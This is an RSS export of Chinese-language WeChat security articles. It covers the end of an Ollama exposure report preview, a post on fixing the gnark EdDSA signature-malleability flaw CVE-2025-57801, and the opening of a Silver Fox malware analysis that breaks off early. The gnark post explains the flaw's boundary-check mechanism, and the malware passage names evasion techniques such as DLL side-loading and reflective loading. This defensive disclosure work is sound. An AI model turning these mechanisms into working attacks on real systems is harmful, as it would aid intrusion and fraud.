textstyle="" style="font-size: 14px;">及少量 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">sha1WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;">。密钥长度以</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">2048</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">位</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（68.00%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">为主，另有部分</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">4096</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">位及少量</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1024</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">位证书。总体来看，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">TLS部署已具规模，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">但仍有一定比例节点未达到当前安全基线。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3501577287066246" data-s="300,640" data-type="png" data-w="2219" type="block" data-imgfileid="100000064" src="https://wechat2rss.xlab.app/img-proxy/?k=d2ee1262&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6Xt7YqCv9qXbibLibFNhOI8rIVo3XxG4DkjqQo8va6Ift8PmoicQjB3yp8NfXZe50eXdwXs2KqjRibMbElWEGQ8PFRQ3fWricDW0R4M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x06预览总结</span></strong></h2><p style="margin-top: 4px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: transparent;color: rgb(113, 26, 95);">🔖 治理建议</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;">综合全年监测结果，公网暴露的 Ollama 生态正在加速扩张，并呈现出“规模增长、结构重组、节点高流动、基础设施集中化”的复合态势。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;">对治理而言，这意味着既要持续关注短周期暴露波动，也要建立面向长期演进的版本与证书风险跟踪机制。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">本文为年度报告预览版。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">详细内容</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">请参见南开大学 AOSP 实验室《Ollama 网络安全态势监测2025年度报告》白皮书（待发布，如有需求可留言公众号）。</span></span></p><div style="margin: 10px auto 14px;padding: 10px 16px;border: 1px solid rgba(113, 26, 95, 0.30);border-radius: 8px;background: transparent;display: table;"><p style="text-align: center;line-height: 1.4em;margin-bottom: 8px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73mhyt" style="font-size: 12px;">编辑：许祖耀 仇渝淇</span></p><p style="text-align: center;line-height: 1.4em;margin-bottom: 8px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73m12np" style="font-size: 12px;">排版：许祖耀</span></p><p style="text-align: center;line-height: 1.4em;margin-bottom: 0px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73m17u7" style="font-size: 12px;">审核：李想</span><span leaf="" style="border-radius: 8px;background: transparent;text-align: center;line-height: 1.4em;font-size: 12px;"> 常得量</span></p></div><p data-pm-slice="0 0 []" nodeleaf="" style="margin-bottom: 24px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19166666666666668" data-type="png" data-w="1080" style="background-color: transparent;" data-width="2067" data-height="396" data-imgfileid="100000051" src="https://wechat2rss.xlab.app/img-proxy/?k=3e0a8ba8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VOSyvME3rIQgfz21YWnG7LyvTJSs08cVzpqenJ3ibAAVnX87mQT0YzBXa4oc1FjTvJAsm2A31Q8Uj8blDHHN831CqZbPWCUeJU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=baed472a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489043%26idx%3D1%26sn%3D80351b3695f8dd0916a801f24bd1941c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Feb 2026 16:49:00 +0800</pubDate>
    </item>
    <item>
      <title>星图实验室接棒玄武实验室，完成底层密码学库漏洞的最终修复</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489041&amp;idx=1&amp;sn=9b6dd48689cfcc9d1d24ce6b408d3f1a</link>
      <description>星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-26 14:32</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e32ecd7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mdp33jzZk4mTib7eIsAC0pZAUC8fPnfibbI3v568vP4MVA313he7fiaExz0RhKZpcm2CDBc5FrqjSHA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复</p>
  <div data-tools="135编辑器" data-id="167792" data-pm-slice="0 0 []"><div style="margin: 10px auto;padding-top: 10px;box-sizing:border-box;"><div style="border: 1px solid #cee8ff;margin: 0 3px;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;"><div style="margin-left: -3px;transform: rotateZ(0deg);-webkit-transform: rotateZ(0deg);-moz-transform: rotateZ(0deg);-o-transform: rotateZ(0deg);"><div style="margin-top: -13px;"><div style="display: flex;"><div><p style="font-size: 16px;color: #272727;text-align: left;padding-left: 8px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">前情提要   </span></strong></p></div></div><p style="font-size: 12px;color: #97cdff;text-align: left;padding-left: 13px;box-sizing:border-box;"><span data-brushtype="text"><span leaf="">-----------</span></span></p></div></div></div><div style="padding: 15px 10px 15px;box-sizing:border-box;"><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p><span style="font-family:宋体,SimSun,STSong;"><span style="color: rgb(85, 85, 85);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">在2025 年 8 月，腾讯玄武实验室的阿图因自动化漏洞挖掘引擎在零知识证明库 gnark 中发现了一个高危漏洞（CVE-2025-57801，CVSS 8.6）。之后，玄武实验室联合上海交通大学 GOSSIP 实验室及郁昱教授团队共同完成了漏洞复现。 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA5NDYyNDI0MA==&amp;mid=2651960252&amp;idx=1&amp;sn=a17f504cfb7c8844f295b02f099aa720&amp;scene=21#wechat_redirect" textvalue="我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库" data-itemshowtype="0" linktype="text" data-linktype="2">我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库</a></span></span></span></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2025 年 8 月，腾讯玄武实验室基于大模型能力构建的自动化漏洞挖掘引擎 Atuin 在零知识证明（ZKP）库 gnark 的签名验证电路中发现一处高危漏洞，并获得编号 CVE-2025-57801（CVSS 8.6）。该问题本质上属于签名可塑性（Signature Malleability）：在电路约束不完备的情况下，攻击者可以在不改变公共输入（交易内容/消息等）的前提下，构造出不同但仍能通过验证的签名见证，从而破坏“签名唯一性/不可重放性”这一常被上层协议默认成立的安全前提。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之所以需要严肃对待这类缺陷，是因为 gnark 作为工程化程度很高的 ZKP 库，被广泛用于 ZK-Rollup 等扩容场景；一旦 Operator/业务电路直接复用存在缺陷的“原生（native）签名验证”实现，那么攻击者就可能基于一笔真实交易派生出“内容相同但签名不同”的伪造版本，进而在某些以签名字段（如 R/S）派生 nullifier、反重放标识或约束逻辑的系统里引发重复执行/重复结算等连锁风险。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在玄武实验室披露后，其与上海交通大学 GOSSIP 实验室及郁昱教授团队完成了漏洞复现与影响分析，并推动社区修复。但值得注意的是：即便该漏洞构造并不复杂，其初始“修复”却并不严谨。在早期修复链路中，签名标量 S 的取值约束仍存在边界条件缺口——实现里检查的是 s &lt;= order，而标准要求的是 严格不等 s &lt; order。这会在极端边界（例如 s = order）下引入等价关系，使得签名对在形式上出现可塑性（可理解为 (R, 0) 与 (R, order) 的等价风险点），从而留下“理论上可被利用、工程上可能被误用”的残余隐患。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为消除这一残余风险，我们（星图实验室）进一步向 gnark 上游报告并推动修复：最终在 PR <a class="wx_topic_link" topic-id="mkur8cei-333tjs" style="color: #576B95 !important;" data-topic="1">#1684</a> 将约束从 AssertIsLessOrEqual 调整为严格比较（在 std/signature/eddsa/eddsa.go 中用 cmp.IsLess 并断言结果为 1），使 EdDSA 验证满足 S &lt; order 的严格要求；该 PR 已于 2026-01-21 合入主分支，并在CVE-2025-57801中获得了致谢。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005392" data-ratio="0.3731481481481482" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bde33728&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mdp33jzZk4mTib7eIsAC0pZPdGiaZOah81aZgYFic3luNHRy8KjOwibiacNx79SNU7XLObicp4YTooskpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更有意思的是，这个“残余隐患”的发现路径，几乎与玄武实验室依赖复杂 Agent 体系（Atuin）进行自动化挖掘的路径相反：星图研究员在看到玄武实验室相关信息后第一时间尝试复现。作为安全研究团队，我们希望对 AI/大模型在漏洞分析中的有效性做更“朴素但可对照”的评估——因此我们没有调用外部网络，也没有搭建多工具链 Agent，而是把公开上下文（即ecdsa.go，prompt为：“请你帮我查找其中的安全隐患”。）直接投喂给 Gemini 2.5 Pro 与 GPT-5。出乎意料的是，在“无外部检索、无复杂编排”的条件下，大模型依然给出了准确的漏洞挖掘、机理拆解与推导链路，并能自然地把关注点落到“约束是否完备/边界是否严格”这种最容易在修复阶段被忽略的细节上。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们关注到当时的网络安全圈的一些评论，例如微博上对这个的讨论是： “用 AI 发现代码中的漏洞已经没什么稀奇了。但是在密码学库，尤其是经过多轮人工审计的 Web3 社区的密码学库里还能发现漏洞，这就让我们对 AI 能力边界的认知又扩大了一圈。” 这个案例给了我们一些新的如何利用AI能力开展安全研究的启发，AI的能力在目前的安全研究人员认知中可能被低估了，需要大家进一步评估AI挖掘漏洞的潜力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相关链接：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库<a class="normal_text_link" target="_blank" style="box-sizing: border-box;background-color: transparent;color: rgb(33, 150, 243);outline: none;text-decoration: none;" href="https://mp.weixin.qq.com/s?__biz=MzA5NDYyNDI0MA==&amp;mid=2651960252&amp;idx=1&amp;sn=a17f504cfb7c8844f295b02f099aa720&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ" target="_blank">https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ</a></a></span></p></li><li style="box-sizing: border-box;"><p><span leaf="">gnark 官方漏洞公告：Security Advisories · Consensys/gnark · GitHub</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">CVE-2025-57801：NVD - CVE-2025-57801</span></p></li></ul><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4dd1091e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489041%26idx%3D1%26sn%3D9b6dd48689cfcc9d1d24ce6b408d3f1a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 26 Jan 2026 14:32:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】层层递进，“狐”影随行</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489034&amp;idx=1&amp;sn=1fd45082f29e9207d539a3cd1890edca</link>
      <description>天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-22 16:51</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d1d04e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxphZsO1fmMrL4a3ATdkqvukBKHfWrUYJRRCbNE3icFBZ62bY9DViaQnyw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。</p>
  <div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">1</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">概 述</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术，并结合隐蔽的进程注入与DLL侧载（DLL Side-Loading）等手段，以规避安全检测，实现持久驻留于受害者主机。</span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">2</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">样本信息</span></strong></p></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： Rar0092_v3.53.278_2xdcey.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1：50715a3abd66e17654255b7881b035d006dce605</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型：EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小：127.03 MB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">家族归属：银狐家族</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：(<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)</a></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">3</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">样本分析</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本具备高度隐蔽性，在执行过程中反复侦测运行环境，其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力，成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为，还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2962962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005383" src="https://wechat2rss.xlab.app/img-proxy/?k=f235130e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxltoZ47GMMUmnMkxwfBibZ9qXnGR8Yg3wfuNNDMyibmY9ASPKVlT7ft7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 